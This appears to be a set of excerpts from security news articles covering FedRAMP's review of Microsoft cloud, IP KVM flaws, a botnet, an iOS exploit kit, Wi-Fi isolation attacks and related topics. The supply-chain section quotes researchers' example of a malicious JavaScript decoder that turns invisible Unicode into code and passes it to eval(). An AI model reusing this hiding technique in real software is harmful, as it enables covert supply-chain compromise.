Federal cyber experts called Microsoft’s cloud a “pile of shit,” approved it anyway

The problem is that agencies often lack the staff and resources to do thorough reviews, which means the whole system is leaning on the claims of the cloud companies and the assessments of the third-party firms they pay to evaluate them. Under the current vision, critics say, FedRAMP has lost the plot.

“FedRAMP’s job is to watch the American people’s back when it comes to sharing their data with cloud companies,” said Mill, the former GSA official, who also co-authored the 2024 White House memo. “When there’s a security issue, the public doesn’t expect FedRAMP to say they’re just a paper-pusher.”

Meanwhile, at the Justice Department, officials are finding out what FedRAMP meant by the “unknown unknowns” in GCC High. Last year, for example, they discovered that Microsoft relied on China-based engineers to service their sensitive cloud systems despite the department’s prohibition against non-US citizens assisting with IT maintenance.

Officials learned about this arrangement—which was also used in GCC High—not from FedRAMP or from Microsoft but from a ProPublica investigation into the practice, according to the Justice employee who spoke with us.

A Microsoft spokesperson acknowledged that the written security plan for GCC High that the company submitted to the Justice Department did not mention foreign engineers, though he said Microsoft did communicate that information to Justice officials before 2020. Nevertheless, Microsoft has since ended its use of China-based engineers in government systems.

Former and current government officials worry about what other risks may be lurking in GCC High and beyond.

The GSA told ProPublica that, in general, “if there is credible evidence that a cloud service provider has made materially false representations, that matter is then appropriately referred to investigative authorities.”

Ironically, the ultimate arbiter of whether cloud providers or their third-party assessors are living up to their claims is the Justice Department itself. The recent indictment of the former Accenture employee suggests it is willing to use this power. In a court document, the Justice Department alleges that the ex-employee made “false and misleading representations” about the cloud platform’s security to help the company “obtain and maintain lucrative federal contracts.” She is also accused of trying to “influence and obstruct” Accenture’s third-party assessors by hiding the product’s deficiencies and telling others to conceal the “true state of the system” during demonstrations, the department said. She has pleaded not guilty.

There is no public indication that such a case has been brought against Microsoft or anyone involved in the GCC High authorization. The Justice Department declined to comment. Monaco, the deputy attorney general who launched the department’s initiative to pursue cybersecurity fraud cases, did not respond to requests for comment.

She left her government position in January 2025. Microsoft hired her to become its president of global affairs.

A company spokesperson said Monaco’s hiring complied with “all rules, regulations, and ethical standards” and that she “does not work on any federal government contracts or have oversight over or involvement with any of our dealings with the federal government.”

Researchers disclose vulnerabilities in IP KVMs from four manufacturers

Researchers are warning about the risks posed by a low-cost device that can give insiders and hackers unusually broad powers in compromising networks.

The devices, which typically sell for $30 to $100, are known as IP KVMs. Administrators often use them to remotely access machines on networks. The devices, not much bigger than a deck of cards, allow the machines to be accessed at the BIOS/UEFI level, the firmware that runs before the loading of the operating system.

This provides power and convenience to admins, but in the wrong hands, the capabilities can often torpedo what might otherwise be a secure network. Risks are posed when the devices—which are exposed to the Internet—are deployed with weak security configurations or surreptitiously connected to by insiders. Firmware vulnerabilities also leave them open to remote takeover.

No exotic zero-days here

On Tuesday, researchers from security firm Eclypsium disclosed a total of nine vulnerabilities in IP KVMs from four manufacturers. The most severe flaws allow unauthenticated hackers to gain root access or run malicious code on them.

“These are not exotic zero-days requiring months of reverse engineering,” Eclypsium researchers Paul Asadoorian and Reynaldo Vasquez Garcia wrote. “These are fundamental security controls that any networked device should implement. Input validation. Authentication. Cryptographic verification. Rate limiting. We are looking at the same class of failures that plagued early IoT devices a decade ago, but now on a device class that provides the equivalent of physical access to everything it connects to.”

Supply-chain attack using invisible code hits GitHub and other repositories

The invisible code is rendered with Public Use Areas (sometimes called Public Use Access), which are ranges in the Unicode specification for special characters reserved for private use in defining emojis, flags, and other symbols. The code points represent every letter of the US alphabet when fed to computers, but their output is completely invisible to humans. People reviewing code or using static analysis tools see only whitespace or blank lines. To a JavaScript interpreter, the code points translate into executable code.

The invisible Unicode characters were devised decades ago and then largely forgotten. That is, until 2024, when hackers began using the characters to conceal malicious prompts fed to AI engines. While the text was invisible to humans and text scanners, LLMs had little trouble reading them and following the malicious instructions they conveyed. AI engines have since devised guardrails that are designed to restrict usage of the characters, but such defenses are periodically overridden.

Since then, the Unicode technique has been used in more traditional malware attacks. In one of the packages Aikido analyzed in Friday’s post, the attackers encoded a malicious payload using the invisible characters. Inspection of the code shows nothing. During the JavaScript runtime, however, a small decoder extracts the real bytes and passes them to the eval() function.

const s = v => [...v].map(w => ( w = w.codePointAt(0), w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 : w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null); 
eval(Buffer.from(s(``)).toString('utf-8'));

“The backtick string passed to s() looks empty in every viewer, but it’s packed with invisible characters that, once decoded, produce a full malicious payload,” Aikido explained. “In past incidents, that decoded payload fetched and executed a second-stage script using Solana as a delivery channel, capable of stealing tokens, credentials, and secrets.”

Since finding the new round of packages on GitHub, the researchers have found similar ones on npm and the VS Code marketplace. Aikido said the 151 packages detected are likely a small fraction spread across the campaign because many have been deleted since first being uploaded.

The best way to protect against the scourge of supply-chain attacks is to carefully inspect packages and their dependencies before incorporating them into projects. This includes scrutinizing package names and searching for typos. If suspicions about LLM use are correct, malicious packages may increasingly appear to be legitimate, particularly when invisible unicode characters are encoding malicious payloads.

The who, what, and why of the attack that has shut down Stryker’s Windows network

What else is known about Handala Hack?

The group has existed since at least 2023. It takes its name from a character in the political cartoons of Palestinian artist Naji al-Ali. The group’s logo depicts a small Palestinian boy who is a symbol associated with Palestinian resistance.

Check Point and other security firms have said Handala Hack is affiliated with Iran’s Ministry of Intelligence and Security and maintains multiple online personas. Compared to other nation-state-sponsored hacking groups, Handala Hack has kept a comparatively lower profile. Still, it has carried out a series of destructive wiping attacks and influence operations over the years.

Around the same time the Stryker attack came to light, posts to a Telegram account and website controlled by Handala Hack took credit for the takedown. Handala posts cited last week’s killing of 165 civilians at a girls’ school in Iran by an American Tomahawk missile and past hacking operations that the US and Israel have perpetrated on Iran.

What is the point of striking a corporation in retaliation for airstrikes carried out by the US and Israel?

Such actions are taken for their psychological effects, which are often disproportionately larger than the resources required to bring them about. With limited means for Iran to strike back militarily, the Stryker disruption allows an alternative means for the country and its allies to retaliate. The success is intended to demonstrate that pro-Iranian forces can still exact a price that has a material effect on large populations in the US, Israel, and countries allied with them.

As a major supplier of lifesaving medical devices relied on throughout the US and its allies, Stryker plays a strategic and symbolic role in their security, researchers at Flash Point said Thursday. “By operating behind a persona styled as a grassroots, pro-Palestinian resistance movement, Iranian state-nexus actors are able to conduct destructive cyber operations against Western organizations while maintaining a degree of plausible deniability.”

14,000 routers are infected by malware that’s highly resistant to takedowns

Researchers say they have uncovered a takedown-resistant botnet of 14,000 routers and other network devices—primarily made by Asus—that have been conscripted into a proxy network that anonymously carries traffic used for cybercrime.

The malware—dubbed KadNap—takes hold by exploiting vulnerabilities that have gone unpatched by their owners, Chris Formosa, a researcher at security firm Lumen’s Black Lotus Labs, told Ars. The high concentration of Asus routers is likely due to botnet operators acquiring a reliable exploit for vulnerabilities affecting those models. He said it’s unlikely that the attackers are using any zero-days in the operation.

A botnet that stands out among others

The number of infected routers averages about 14,000 per day, up from 10,000 last August, when Black Lotus discovered the botnet. Compromised devices are overwhelmingly located in the US, with smaller populations in Taiwan, Hong Kong, and Russia. One of the most salient features of KadNap is a sophisticated peer-to-peer design based on Kademlia, a network structure that uses distributed hash tables to conceal the IP addresses of command-and-control servers. The design makes the botnet resistant to detection and takedowns through traditional methods.

“The KadNap botnet stands out among others that support anonymous proxies in its use of a peer-to-peer network for decentralized control,” Formosa and fellow Black Lotus researcher Steve Rudd wrote Wednesday. “Their intention is clear: avoid detection and make it difficult for defenders to protect against.”

Distributed hash tables have long been used to create hardened peer-to-peer networks, most notably BitTorrent and the Inter-Planetary File System. Rather than having one or more centralized servers that directly control nodes and provide them with the IP addresses of other nodes, DHTs allow any node to poll other nodes for the device or server it’s looking for. The decentralized structure and the substitution of IP addresses with hashes give the network resilience against takedowns or denial of service attacks.

Feds take notice of iOS vulnerabilities exploited under mysterious circumstances

Coruna is also notable for its use by three distinct hacking groups. Google first detected its use in February of last year in an operation conducted by a “customer of a surveillance vendor.” The vulnerability exploited, tracked as CVE-2025-23222, had been patched 13 months earlier. In July 2025, a “suspected Russian espionage group” exploited CVE-2023-43000 in attacks planted on websites that were frequented by Ukrainian targets. Last December, when it was used by a “financially motivated threat actor from China,” Google was able to retrieve the complete exploit kit.

“How this proliferation occurred is unclear, but suggests an active market for ‘second hand’ zero-day exploits,” Google wrote. “Beyond these identified exploits, multiple threat actors have now acquired advanced exploitation techniques that can be re-used and modified with newly identified vulnerabilities.”

Google researchers went on to write:

We retrieved all the obfuscated exploits, including ending payloads. Upon further analysis, we noticed an instance where the actor deployed the debug version of the exploit kit, leaving in the clear all of the exploits, including their internal code names. That’s when we learned that the exploit kit was likely named Coruna internally. In total, we collected a few hundred samples covering a total of five full iOS exploit chains. The exploit kit is able to target various iPhone models running iOS version 13.0 (released in September 2019) up to version 17.2.1 (released in December 2023).

The 23 exploits, along with the code names and other information, are:

Trump gets data center companies to pledge to pay for power generation

On Wednesday, the Trump administration announced that a large collection of tech companies had signed on to what it’s calling the Ratepayer Protection Pledge. By agreeing, the initial signatories—Amazon, Google, Meta, Microsoft, OpenAI, Oracle, and xAI—are saying they will pay for the new generation and transmission capacities needed for any additional data centers they build. But the agreement has no enforcement mechanism, and it will likely run into issues with hardware supplies. It also ignores basic economics.

Other than that, it seems like a great idea.

What’s being agreed to

The agreement is quite simple, laying out five points. The key ones are the first three: that the companies building data centers pledge to pay for new generating capacity, either building it themselves or paying for it as part of a new or expanded power plant. They’ll also pay for any transmission infrastructure needed to connect their data centers and the new supply to the grid and will cover these costs whether or not the power ultimately gets used by their facilities.

The companies also pledge to consider allowing the local grid to use on-site backup generators to handle emergency power shortages affecting the community. They will also hire and train locally when they build new data centers.

The agreement suggests that these promises will protect American consumers from price hikes due to the expansion of data centers and will somehow “lower electricity costs for consumers in the long term.” How that will happen is not specified.

Also missing from the agreement is any sort of enforcement mechanism. If a company decides to ignore the agreement, the worst it is guaranteed to suffer is bad publicity, something these companies already have experience handling. That said, Trump has been known to resort to blatantly illegal tactics to pressure companies to conform to his wishes, so ignoring the agreement carries risks.

That’s important because the companies will struggle to live up to the agreement. (Though Google, for its part, told Ars that it has typically followed the guidelines as a normal part of its process for building new data centers.)

Downdetector, Speedtest sold to IT service provider Accenture in $1.2B deal

In a statement, Accenture CEO and chair Julie Sweet said:

By acquiring Ookla, we will help our clients across business and government scale AI safely and build the trusted data foundations they need to deliver the reliable, seamless connectivity that creates value.

Current Accenture public sector clients include the US Air Force, the US Social Security Administration, and, recently, the US Department of State.

Speedtest and Downdetector are popular among people seeking something to help quickly test their current internet speed and the status of online services, respectively. Downdetector is often cited by media reports discussing the availability of websites, apps, banks, and more.

Under Ziff Davis, both programs also have business-to-business (B2B) applications. Using Speedtest, for instance, Ookla gathers, aggregates, and analyzes data for “billions of mobile network samples daily, which measure radio signal levels, network coverage, and availability, and [quality of experience] metrics for a number of connected experiences, such as streaming video, video conferencing, gaming, web browsing, and CDN and cloud provider performance,” Ookla says. Currently, Speedtest claims telecommunications operators, regulatory and trade bodies, analysts, journalists, and nonprofits as B2B customers.

Downdetector Explorer, meanwhile, is a monitoring tool that’s supposed to help businesses detect outages. Customers include streaming services, banks, social networks, and communication service providers.

Should Accenture’s acquisition close, the IT consultant will similarly use data from Speedtest and Downdetector to inform clients, and individual users will be subject to a new privacy policy and any other changes Accenture potentially makes.

An Accenture spokesperson told Ars Technica that Accenture plans to operate the Ookla “business as it operates today.”

Google quantum-proofs HTTPS by squeezing 2.5kB of data into 64-byte space

Google and other browser makers require that all TLS certificates be published in public transparency logs, which are append-only distributed ledgers. Website owners can then check the logs in real time to ensure that no rogue certificates have been issued for the domains they use. The transparency programs were implemented in response to the 2011 hack of Netherlands-based DigiNotar, which allowed the minting of 500 counterfeit certificates for Google and other websites, some of which were used to spy on web users in Iran.

Once viable, Shor’s algorithm could be used to forge classical encryption signatures and break classical encryption public keys of the certificate logs. Ultimately, an attacker could forge signed certificate timestamps used to prove to a browser or operating system that a certificate has been registered when it hasn’t.

To rule out this possibility, Google is adding cryptographic material from quantum-resistant algorithms such as ML-DSA. This addition would allow forgeries only if an attacker were to break both classical and post-quantum encryption. The new regime is part of what Google is calling the quantum-resistant root store, which will complement the Chrome Root Store the company formed in 2022.

The MTCs use Merkle Trees to provide quantum-resistant assurances that a certificate has been published without having to add most of the lengthy keys and hashes. Using other techniques to reduce the data sizes, the MTCs will be roughly the same 64-byte length they are now, Westerbaan said.

The new system has already been implemented in Chrome. For the time being, Cloudflare is enrolling roughly 1,000 TLS certificates to test how well the MTCs work. For now, Cloudflare is generating the distributed ledger. The plan is for CAs to eventually fill that role. The Internet Engineering Task Force standards body has recently formed a working group called the PKI, Logs, And Tree Signatures, which is coordinating with other key players to develop a long-term solution.

“We view the adoption of MTCs and a quantum-resistant root store as a critical opportunity to ensure the robustness of the foundation of today’s ecosystem,” Google’s Friday blog post said. “By designing for the specific demands of a modern, agile internet, we can accelerate the adoption of post-quantum resilience for all web users.”

New AirSnitch attack bypasses Wi-Fi encryption in homes, offices, and enterprises

“In a normal Layer-2 switch, the switch learns the MAC of the client by seeing it respond with its source address,” Moore explained. “This attack confuses the AP into thinking that the client reconnected elsewhere, allowing an attacker to redirect Layer-2 traffic. Unlike Ethernet switches, wireless APs can’t tie a physical port on the device to a single client; clients are mobile by design.”

The back-and-forth flipping of the MAC from the attacker to the target, and vice versa, can continue for as long as the attacker wants. With that, the bidirectional MitM has been achieved. Attackers can then perform a host of other attacks, both related to AirSnitch or ones such as the cache poisoning discussed earlier. Depending on the router the target is using, the attack can be performed even when the attacker and target are connected to separate SSIDs connected by the same AP. In some cases, Zhou said, the attacker can even be connected from the Internet.

“Even when the guest SSID has a different name and password, it may still share parts of the same internal network infrastructure as your main Wi-Fi,” the researcher explained. “In some setups, that shared infrastructure can allow unexpected connectivity between guest devices and trusted devices.”

No, enterprise defenses won’t protect you

Variations of the attack defeat the client isolation promised by makers of enterprise routers, which typically use credentials and a master encryption key that are unique to each client. One such attack works across multiple APs when they share a wired distribution system, as is common in enterprise and campus networks.

In their paper, AirSnitch: Demystifying and Breaking Client Isolation in Wi-Fi Networks, the researchers wrote:

Although port stealing was originally devised for hosts on the same switch, we show that attackers can hijack MAC-to-port mappings at a higher layer, i.e., at the level of the distribution switch—to intercept traffic to victims associated with different APs. This escalates the attack beyond its traditional limits, breaking the assumption that separate APs provide effective isolation.

This discovery exposes a blind spot in client isolation: even physically separated APs, broadcasting different SSIDs, offer ineffective isolation if connected to a common distribution system. By redirecting traffic at the distribution switch, attackers can intercept and manipulate victim traffic across AP boundaries, expanding the threat model for modern Wi-Fi networks.

The researchers demonstrated that their attacks can enable the breakage of RADIUS, a centralized authentication protocol for enhanced security in enterprise networks. “By spoofing a gateway MAC and connecting to an AP,” the researchers wrote, “an attacker can steal uplink RADIUS packets.” The attacker can go on to crack a message authenticator that’s used for integrity protection and, from there, learn a shared passphrase. “This allows the attacker to set up a rogue RADIUS server and associated rogue WPA2/3 access point, which allows any legitimate client to connect, thereby intercepting their traffic and credentials.”
